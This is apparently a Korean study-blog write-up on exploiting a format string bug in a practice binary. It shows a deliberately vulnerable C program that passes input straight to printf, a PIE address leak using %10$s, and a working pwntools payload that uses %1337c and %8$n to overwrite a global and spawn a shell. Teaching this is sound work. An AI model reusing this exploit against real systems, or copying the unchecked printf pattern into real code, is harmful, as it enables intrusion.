Exploit Tech : Format String Bug

곽무경·2022년 7월 10일
0

System Hacking

목록 보기
21/27

예제 코드

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}
int changeme;
int main() {
  char buf[0x20];

  setbuf(stdout, NULL);

  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

공격 목표 : changeme 변수의 값을 1337로 바꾸기

보호 기법 분석


Partial RELRO, NX, PIE
왜 항상 Partial RELRO로 나오는지 모르겠다.

익스플로잇 설계

  • changeme 변수의 주소 구하기 (주소가 항상 변함)
  • changeme를 1337로 설정하기

1. changeme 변수의 주소 구하기

printf 함수가 실행되는 시점에 breakpoint를 설정하고, run 하면
get_string 함수로 문자열을 입력받는다. 아무거나 입력한 후 스택을 보면

rbp 지점에 코드 영역에 포함된 주소가 저장되어 있다.
이것을 이용하여 PIE 베이스 주소를 구할 수 있다.
rsp+0x20 지점이므로 printf(%10$s)를 통해 그 내용을 볼 수 있다.
구한 베이스 주소를 토대로, changeme 변수의 주소도 구할 수 있다.

p=process("./fsb_overwrite")
e=ELF("./fsb_overwrite")
p.sendline(b"%10$s")
code_base=int(p.recvn(14),16)-e.symbols['__libc_csu_init']
changeme=code_base+e.symbols['changeme']

2. changeme를 1337로 설정하기

changeme 변수를 1337로 설정하려면, %n을 이용한 설정 전에 1337바이트가 출력되어야 한다.
따라서 %1337c 로 1337바이트를 출력한다.

사용자 입력은 6번째부터 시작하므로, payload를 구성하면

payload="%1337c%8$nAAAAAA"    # 스택 8바이트 정렬
payload+=p64(changeme)

%6$n : %1337c%8
%7$n : $nAAAAAA
%8$n : p64(changeme)

3. payload 전송, 셸 획득

p.sendline(payload)
p.interactive()

0개의 댓글